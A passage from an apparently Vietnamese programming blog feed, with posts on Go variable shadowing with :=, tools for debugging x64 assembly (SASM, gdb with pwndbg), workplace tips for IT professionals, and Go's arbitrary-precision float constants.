<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Code này không compile với error: <code>no new variables on left side of :=</code>, bên trái <code>:=</code>
luôn phải có variable mới. Code này compile ok:</p>
<div class="highlight"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Open</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">f</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Open</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"i %v f %v err %v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">f</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>ở đây có var <code>f</code> mới, còn var <code>err</code> cũ được gán cho giá trị mới. Bằng chứng <code>err</code> cũ có thể test:</p>
<div class="highlight"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">_</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Open</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">42</span><span class="w"></span>
<span class="w"> </span><span class="nx">f</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Open</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"i %v f %v err %v\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">f</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>không compile với error: <code>cannot use os.Open("/etc/passwd") (value of type error) as int value in assignment</code>,
<code>err</code> cũ có kiểu <code>int</code>, nên không thể gán giá trị kiểu <code>error</code>.</p>
<p>Đoạn code sau <a href="https://github.com/Massad/gin-boilerplate/blob/5ad7e290e6dff18246af84227320034a5215f64a/db/db.go#L19-L32">rất phổ biến trong lập trình web</a>, tạo 1 global var DB client:</p>
<div class="highlight"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">db</span><span class="w"> </span><span class="o">*</span><span class="nx">gorp</span><span class="p">.</span><span class="nx">DbMap</span><span class="w"></span>
<span class="c1">//Init ...</span><span class="w"></span>
<span class="kd">func</span><span class="w"> </span><span class="nx">Init</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">dbinfo</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Sprintf</span><span class="p">(</span><span class="s">"user=%s password=%s dbname=%s sslmode=disable"</span><span class="p">,</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Getenv</span><span class="p">(</span><span class="s">"DB_USER"</span><span class="p">),</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Getenv</span><span class="p">(</span><span class="s">"DB_PASS"</span><span class="p">),</span><span class="w"> </span><span class="nx">os</span><span class="p">.</span><span class="nx">Getenv</span><span class="p">(</span><span class="s">"DB_NAME"</span><span class="p">))</span><span class="w"></span>
<span class="w"> </span><span class="nx">db</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">ConnectDB</span><span class="p">(</span><span class="nx">dbinfo</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">log</span><span class="p">.</span><span class="nx">Fatal</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="p">}</span><span class="w"></span>
</code></pre></div>
<p><code>err</code> là var mới, còn <code>db</code> là var mới hay var cũ được gán giá trị?</p>
<p>Theo những ví dụ trên, có thể mong chờ <code>db</code> là var cũ được gán cho giá trị.
Nhưng theo <a href="https://go.dev/doc/effective_go#redeclaration">effective go</a>:</p>
<blockquote>
<p>In a := declaration a variable v may appear even if it has already been declared, provided:
if v is already declared in an outer scope, the declaration will create a new variable.</p>
</blockquote>
<p><code>db</code> trong <code>Init</code> là var <code>db</code> mới, <strong>shadow</strong> (che mất) var <code>db</code> bên ngoài, <code>db</code> bên ngoài vẫn là <code>nil</code>.
Để fix bug này, không dùng <code>:=</code> mà viết:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="kt">error</span><span class="w"></span>
<span class="w"> </span><span class="nx">db</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">ConnectDB</span><span class="p">(</span><span class="nx">dbinfo</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<h3>Kết luận</h3>
<p>Go vốn dài dòng, mà chỗ ngắn cũng toàn chú ý, <strong>cộng đồng mạng</strong> tạo hẳn 6 luật
để dùng <code>:=</code> <a href="https://stackoverflow.com/questions/17891226/difference-between-and-operators-in-go/45654233#45654233">https://stackoverflow.com/questions/17891226/difference-between-and-operators-in-go/45654233#45654233</a></p>
<p>Go thật đơn giản, ha!</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Các công cụ để viết/chạy x64 assembly2023-02-26T00:00:00+07:002023-02-26T00:00:00+07:00hvntag:familug.github.io,2023-02-26:/cac-cong-cu-de-vietchay-x64-assembly.html<p>Bài trước viết <a href="https://familug.github.io/hello-world-dung-x64-assembly.html">Hello world dùng x64 assembly</a> dù không phải quá khó, nhưng cũng dài 16 dòng, hơn cả Java, lại còn toàn magic value aex, ebx, ... nếu bảo không nhìn tài liệu, cũng khó lòng mà tự viết được từ 1 file trắng.</p>
<p>Chuyện này nghĩa là, để …</p><p>Bài trước viết <a href="https://familug.github.io/hello-world-dung-x64-assembly.html">Hello world dùng x64 assembly</a> dù không phải quá khó, nhưng cũng dài 16 dòng, hơn cả Java, lại còn toàn magic value aex, ebx, ... nếu bảo không nhìn tài liệu, cũng khó lòng mà tự viết được từ 1 file trắng.</p>
<p>Chuyện này nghĩa là, để print cũng khó khăn, mà print khó, thì học lập trình kiểu gì? làm sao biết 1+1 ra kết quả bao nhiêu?</p>
<p>Debugger là câu trả lời!
Debugger giúp không cần print, mà vẫn biết giá trị là bao nhiêu.</p>
<p>Bài này giới thiệu 2 debugger: 1 đủ phức tạp, và 1 rất đơn giản.</p>
<h3>SASM - Simple crossplatform IDE for NASM, MASM, GAS, FASM assembly languages</h3>
<p>Một IDE đơn giản, cài trên Ubuntu 20.04 chỉ với:</p>
<div class="highlight"><pre><span></span><code>sudo apt-get install sasm
</code></pre></div>
<p>sau đó bật lên vào menu Settings > settings chọn "Mode" x64 để chạy code x64.
menu "Debug", chọn "show registers" để thấy các giá trị.</p>
<p>Ví dụ thực hiện gán rax bằng 2 rồi cộng 1, thấy rax là 3</p>
<div class="highlight"><pre><span></span><code><span class="nf">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="c1">; rax=2</span>
<span class="nf">add</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="c1">; rax+=1</span>
</code></pre></div>
<p>Bấm F5 để bắt đầu debug, bấm F11 để tới câu lệnh tiếp theo.</p>
<p><img alt="sasm" src="https://familug.github.io/images/sasm.png"></p>
<p>PS: Windows có rất nhiều tool xịn như x64dbg hay windbg.</p>
<h3>GDB - pwndbg</h3>
<p>Như đã giới thiệu trong <a href="https://familug.github.io/hoc-rust-voi-gdb.html">Học Rust với gdb</a>, gdb là debugger phổ biến bậc nhất trên môi trường Unix/Linux. <a href="https://familug.github.io/tao-giao-dien-gdb-nhu-pedagefpwndbg.html">Cài thêm extension vào để có màu mè</a> , ở đây chọn <a href="https://github.com/pwndbg/pwndbg">pwndbg</a>:</p>
<div class="highlight"><pre><span></span><code>git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="nf">global</span><span class="w"> </span><span class="no">_start</span><span class="w"></span>
<span class="nf">section</span><span class="w"> </span><span class="no">.text</span><span class="w"></span>
<span class="nl">_start:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rbp</span><span class="p">,</span><span class="w"> </span><span class="no">rsp</span><span class="c1">; for correct debugging</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">ebp</span><span class="p">,</span><span class="w"> </span><span class="no">esp</span><span class="c1">; for correct debugging</span>
<span class="w"> </span><span class="c1">;write your code here</span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="w"></span>
<span class="w"> </span><span class="nf">add</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="w"> </span><span class="mi">1</span><span class="w"></span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="w"> </span><span class="no">rdx</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rax</span><span class="p">,</span><span class="w"> </span><span class="mi">14</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">r8</span><span class="p">,</span><span class="w"> </span><span class="mi">3</span><span class="w"></span>
<span class="w"> </span><span class="nf">div</span><span class="w"> </span><span class="no">r8</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="mi">5</span><span class="w"></span>
<span class="w"> </span><span class="nf">add</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="mi">4</span><span class="w"></span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="no">rdx</span><span class="p">,</span><span class="w"> </span><span class="no">rdx</span><span class="w"></span>
<span class="w"> </span><span class="nf">mul</span><span class="w"> </span><span class="no">rcx</span><span class="w"></span>
<span class="w"> </span><span class="nf">sub</span><span class="w"> </span><span class="no">rcx</span><span class="p">,</span><span class="w"> </span><span class="mi">7</span><span class="w"></span>
<span class="w"> </span><span class="nf">xor</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="no">eax</span><span class="w"></span>
<span class="w"> </span><span class="nf">ret</span><span class="w"></span>
</code></pre></div>
<p>build file asm rồi chạy:</p>
<div class="highlight"><pre><span></span><code><span class="nf">$</span><span class="w"> </span><span class="no">sudo</span><span class="w"> </span><span class="no">apt</span><span class="w"> </span><span class="no">install</span><span class="w"> </span><span class="p">-</span><span class="no">y</span><span class="w"> </span><span class="no">nasm</span><span class="w"></span>
<span class="nf">$</span><span class="w"> </span><span class="no">nasm</span><span class="w"> </span><span class="p">-</span><span class="no">felf64</span><span class="w"> </span><span class="no">test.asm</span><span class="w"></span>
<span class="nf">$</span><span class="w"> </span><span class="no">ld</span><span class="w"> </span><span class="no">test.o</span><span class="w"></span>
<span class="nf">$</span><span class="w"> </span><span class="no">gdb</span><span class="w"> </span><span class="p">.</span><span class="err">/</span><span class="no">a.out</span><span class="w"></span>
</code></pre></div>
<p><img alt="pwndbg" src="https://familug.github.io/images/pwndbg.png"></p>
<h3>Kết luận</h3>
<p>Không print được thì dùng debugger. Dùng debugger thì không còn phải print nữa.</p>
<p>Happy debugging!</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>[ProTips] làm IT chuyên nghiệp2023-02-25T00:00:00+07:002023-02-25T00:00:00+07:00hvntag:familug.github.io,2023-02-25:/protips-lam-it-chuyen-nghiep.html<p>Đi làm thì cơ bản cứ "chăm chỉ cố gắng" là sẽ thành công thôi, phải không?
Không!</p>
<p>Sau chục năm đi làm thuê cho các tập đoàn quốc tế lớn nhỏ (lên tới 1000+ người), sống sót qua các đợt layoff hàng ngàn người, leo lên đến chức ˜kỹ …</p><p>Đi làm thì cơ bản cứ "chăm chỉ cố gắng" là sẽ thành công thôi, phải không?
Không!</p>
<p>Sau chục năm đi làm thuê cho các tập đoàn quốc tế lớn nhỏ (lên tới 1000+ người), sống sót qua các đợt layoff hàng ngàn người, leo lên đến chức ˜kỹ sư trưởng˜ (tech) lead, có rút ra một ít kinh nghiệm mau xướng như này.</p>
<h3>Dùng riêng máy tính cá nhân, không dùng máy công ty</h3>
<p>Máy (laptop) công ty chỉ dùng cho duy nhất một mục đích: làm việc công ty. Kể cả đọc báo mạng lá cải cũng không!</p>
<p>Điều này có cực nhiều lợi ích:</p>
<ul>
<li>Nhỡ 1 ngày bị layoff, chỉ việc mang máy tính đi trả, không mất bất cứ thứ gì của cá nhân.</li>
<li>Không lo nhầm lẫn các tài khoản cá nhân và công ty, không push nhầm code công ty lên public github</li>
<li>Máy công ty thường được IT giới hạn các phần mềm, có chỗ còn không cho cắm USB</li>
<li>Máy công ty cài sẵn nhiều thứ, cách tốt nhất là nghĩ máy này có keylog và tự chụp màn hình gửi đi (dù có thể ko phải thế). Tức bạn xem Facebook youtube đọc báo bao nhiêu lâu, công ty đều biết.</li>
</ul>
<h3>Dùng riêng tài khoản cho công việc</h3>
<p>Công ty nào cũng có và cấp riêng email, nhưng nhiều người vẫn dùng tài khoản github cá nhân (và các loại dịch vụ khác) cho công việc. Điều này tạo ra không ít rắc rối khi push nhầm, hay lúc chuyển việc. Vậy nên tốt nhất là tạo tài khoản riêng. Nếu tài khoản cá nhân là hvn thì tài khoản công ty là hvn-pymi hay hvn-familug hoặc chả liên quan như ho-ten-congty.</p>
<h3>Viết 1 trang brag trong công ty</h3>
<p>Brag là 1 trang để khoe bạn đã làm được gì trong công ty. Đôi chỗ gọi là internal resume, để ở chế độ public để toàn công ty thấy. Có thể là 1 page trong wiki như Confluence hay Google Doc đều được.</p>
<p>Tài liệu này giúp:</p>
<ul>
<li>người khác (gồm cả quản lý các cấp) biết bạn đã cống hiến những gì</li>
<li>tiện cho việc viết Performance Review hay promotion</li>
<li>bạn không quên mình đã làm gì trong quý, năm nay/năm ngoái</li>
</ul>
<p>Tham khảo <a href="https://jvns.ca/blog/brag-documents/">https://jvns.ca/blog/brag-documents/</a></p>
<h3>Luôn bắt đầu công việc bằng 1 trang wiki hay Google doc</h3>
<p>1 trang không cần quá nhiều chữ trình bày dự án (internal) này làm gì, tại sao, các phương án và lựa chọn. Không nhất thiết phải formal như <a href="https://blog.pragmaticengineer.com/rfcs-and-design-docs/">https://blog.pragmaticengineer.com/rfcs-and-design-docs/</a>, nhưng phục vụ việc sharing trong công ty nếu cần thiết.</p>
<p>Viết 1 trang doc cũng giúp người viết có được cái nhìn tổng quát hơn về vấn đề, thay vì chỉ code sẽ bị tập trung vào "low level".</p>
<h3>Làm thì tới chốn, phải có giao diện</h3>
<p>Dù ghét frontend đến đâu, yêu dòng lệnh đến nhường nào, thì kết quả của 1 công việc, nếu không dễ dàng để "cấp trên" thấy, bạn sẽ ... không được thấy, thì không được thưởng, nên không được thăng chức.</p>
<p>5 mức độ hoàn thành công việc ứng với 5 mức lương tăng dần:</p>
<ul>
<li>SSH vào server, gõ 1 câu lệnh, xong việc</li>
<li>Như trên, nhưng viết thêm tài liệu, tạo thành SoP (standard of procedure - hay có chỗ gọi là Runbook) xử lý vấn đề</li>
<li>Viết 1 "automation" job, như Jenkins job hay GitHub workflow hay câu lệnh chat Slack để người dùng (thường là đồng nghiệp cùng team) chỉ việc nhập vào 1 vài input, ví dụ gõ 1 lệnh là sẽ tạo tài khoản cho user dev XYZ - đa phần, kể cả senior, dừng lại ở đây, vì Jenkins hay các tech-tool rất thân thuộc với họ.</li>
<li>Tạo 1 trang web để người dùng (user dev XYZ) tự vào bấm vài nút hoặc nhập input và tự phục vụ (hay 1 chatbot), không cần tới mình cung cấp, hoặc cùng lắm mình chỉ cần bấm nút "cho phép". Một trang web có giao diện và tính năng do mình quyết định. Jenkins hay GitHub action chỉ có output là text đen trên nền trắng không màu.</li>
<li>Viết báo cáo, lập bảng excel, vẽ đồ thị, tự động gửi mail báo cáo hàng tuần... tất nhiên không phải công việc nào cũng áp dụng, nhưng 1 devops biết Excel (hay pandas), vẽ đồ thị tổng hợp kết quả (hay metric Grafana) sẽ khác hẳn với 1 sysadmin chỉ copy paste output toàn text.</li>
</ul>
<h3>Hạn chế chuyển việc nội bộ</h3>
<p>Chuyển công ty thì thường được tăng lương, chứ chuyển việc nội bộ xin sang team khác thường là thảm họa. Vì team mới, mình lại là người mới, sếp mới cũng không biết tới, cũng chưa có gì nhiều. Kết quả review performance sẽ ít đẹp, ít thưởng.</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>[Go] Đôi khi 0.1 + 0.1 + 0.1 == 0.32023-01-31T00:00:00+07:002023-01-31T00:00:00+07:00hvntag:familug.github.io,2023-01-31:/go-doi-khi-01-01-01-03.html<p>Trong cuộc sống, những thứ đúng là đúng, sai là sai thật dễ dàng, còn những thứ đôi khi thế này, đôi khi thế nọ, thì tùy.</p>
<p>Như các học viên của <a href="https://pymi.vn">https://pymi.vn</a> đều biết <a href="https://pymi.vn/blog/why-not-float/">vì sao 0.1 + 0.1 + 0.1 != 0.3</a> trong Python và …</p><p>Trong cuộc sống, những thứ đúng là đúng, sai là sai thật dễ dàng, còn những thứ đôi khi thế này, đôi khi thế nọ, thì tùy.</p>
<p>Như các học viên của <a href="https://pymi.vn">https://pymi.vn</a> đều biết <a href="https://pymi.vn/blog/why-not-float/">vì sao 0.1 + 0.1 + 0.1 != 0.3</a> trong Python và hầu hết các ngôn ngữ khác, thì với Go, thực hiện 1 phép tính cộng đơn giản theo 2 cách khác nhau, cho ra 2 kết quả khác nhau.</p>
<p><img alt="go nowhere const" src="https://familug.github.io/images/go_nowhere.webp"></p>
<h3>Cách giống các ngôn ngữ khác</h3>
<div class="highlight"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="mf">0.1</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v + %v + %v == 0.3? %t\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">0.3</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%f\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%.17f\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Kết quả giống như Python và các ngôn ngữ khác, 0.1 + 0.1 + 0.1 != 0.3 do kết quả vế trái là <code>0.30000000000000004</code></p>
<div class="highlight"><pre><span></span><code><span class="mf">0.1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">0.3</span><span class="err">?</span><span class="w"> </span><span class="n">false</span><span class="w"></span>
<span class="mf">0.300000</span><span class="w"></span>
<span class="mf">0.30000000000000004</span><span class="w"></span>
</code></pre></div>
<p><a href="https://go.dev/play/p/eDe3szlFyi7">https://go.dev/play/p/eDe3szlFyi7</a></p>
<h3>Cách của riêng Go</h3>
<p>Nếu viết khác đi một chút, sử dụng từ khóa <code>const</code>, hay viết trực tiếp mà không gán cho biến <code>x</code>, kết quả lại là đúng:</p>
<div class="highlight"><pre><span></span><code><span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mf">0.1</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v + %v + %v == 0.3? %t\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="o">+</span><span class="nx">x</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">0.3</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%v + %v + %v == 0.3? %t\n"</span><span class="p">,</span><span class="w"> </span><span class="mf">0.1</span><span class="p">,</span><span class="w"> </span><span class="mf">0.1</span><span class="p">,</span><span class="w"> </span><span class="mf">0.1</span><span class="p">,</span><span class="w"> </span><span class="mf">0.1</span><span class="o">+</span><span class="mf">0.1</span><span class="o">+</span><span class="mf">0.1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">0.3</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%.30f\n"</span><span class="p">,</span><span class="w"> </span><span class="mf">0.1</span><span class="o">+</span><span class="mf">0.1</span><span class="o">+</span><span class="mf">0.1</span><span class="p">)</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%.30f\n"</span><span class="p">,</span><span class="w"> </span><span class="mf">0.3</span><span class="p">)</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
</code></pre></div>
<p>Kết quả:</p>
<div class="highlight"><pre><span></span><code><span class="mf">0.1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">0.3</span><span class="err">?</span><span class="w"> </span><span class="n">true</span><span class="w"></span>
<span class="mf">0.1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.1</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">0.1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">0.3</span><span class="err">?</span><span class="w"> </span><span class="n">true</span><span class="w"></span>
<span class="mf">0.299999999999999988897769753748</span><span class="w"></span>
<span class="mf">0.299999999999999988897769753748</span><span class="w"></span>
</code></pre></div>
<p><a href="https://go.dev/play/p/IPuQD9aLlV8">https://go.dev/play/p/IPuQD9aLlV8</a></p>
<p>Vậy rốt cuộc là sao?</p>
<h4>Go const</h4>
<p>Từ khóa <code>const</code> trong Go khác với trong các ngôn ngữ khác, không phải mỗi chuyện nó immutable (không thay đổi), mà cách tính toán giá trị cũng không như "thường".</p>
<p>Cách viết <code>0.1+0.1+0.1</code> cũng là const trong Go, gọi chính xác là <code>const expression</code>.</p>
<p>Sự khác biệt to lớn này khiến các tác giả Go phải viết một bài blog để giải thích <code>const</code> khác các ngôn ngữ thế nào <a href="https://go.dev/blog/constants">https://go.dev/blog/constants</a>.</p>
<p>Trích blog nói trên:</p>
<blockquote>
<p>First, a quick definition. In Go, const is a keyword introducing a name for a scalar value such as 2 or 3.14159 or "scrumptious". Such values, named or otherwise, are called constants in Go. Constants can also be created by expressions built from constants, such as 2+3 or 2+3i or math.Pi/2 or ("go"+"pher").</p>
</blockquote>
<p>Khi viết 0.1 trong Go, giá trị này <strong>không có kiểu</strong> (have no type), hay còn gọi là <code>untyped constant</code>. Nhưng nó có <strong>kiểu mặc định</strong> (default type) KHI CẦN. Hoặc cũng có thể đổi sang một kiểu khác. Trong Go có 2 kiểu float là float32 và float64.</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mf">0.1</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%T\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">)</span><span class="w"> </span><span class="c1">// float64</span><span class="w"></span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="kt">float32</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mf">0.2</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%T\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="o">+</span><span class="nx">y</span><span class="p">)</span><span class="w"> </span><span class="c1">// float32</span><span class="w"></span>
<span class="w"> </span><span class="nx">z</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="mf">0.1</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Printf</span><span class="p">(</span><span class="s">"%T\n"</span><span class="p">,</span><span class="w"> </span><span class="nx">z</span><span class="o">+</span><span class="nx">y</span><span class="p">)</span><span class="w"> </span><span class="c1">// Compile error: invalid operation: z + y (mismatched types float64 and float32)</span><span class="w"></span>
</code></pre></div>
<p><code>x</code> có default type là <code>float64</code>, khi cộng với giá trị <code>y</code> kiểu <code>float32</code>, <code>x</code> lúc này có kiểu <code>float32</code> mà không cần phải đổi kiểu.</p>
<ul>
<li>Chú ý, <code>const x = 0.1</code> (untyped) khác với <code>z := 0.1</code> (biến z kiểu float64).</li>
<li>Chú ý, <code>const x float32 = 0.1</code> đã có kiểu float32, khác với untyped const.</li>
</ul>
<h4>Tính toán const expression</h4>
<p>Trong bài blog:</p>
<blockquote>
<p>Numeric constants live in an arbitrary-precision numeric space; they are just regular numbers.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">Huge</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mf">1e1000</span><span class="w"></span>
<span class="w"> </span><span class="nx">fmt</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="nx">Huge</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1e999</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<p>in ra 10.</p>
<p>Các const được tính toán bởi Go compiler - khi build, chứ không tính KHI CHẠY, sử dụng kiểu dữ liệu có độ chính xác cao hơn so với float64</p>
<p>Trong Go spec <a href="https://go.dev/ref/spec#Constants">https://go.dev/ref/spec#Constants</a></p>
<blockquote>
<p>Numeric constants represent exact values of arbitrary precision and do not overflow.
Implementation restriction: Although numeric constants have arbitrary precision in the language, a compiler may implement them using an internal representation with limited precision. That said, every implementation must:
Represent floating-point constants, including the parts of a complex constant, with a mantissa of at least 256 bits and a signed binary exponent of at least 16 bits.</p>
</blockquote>
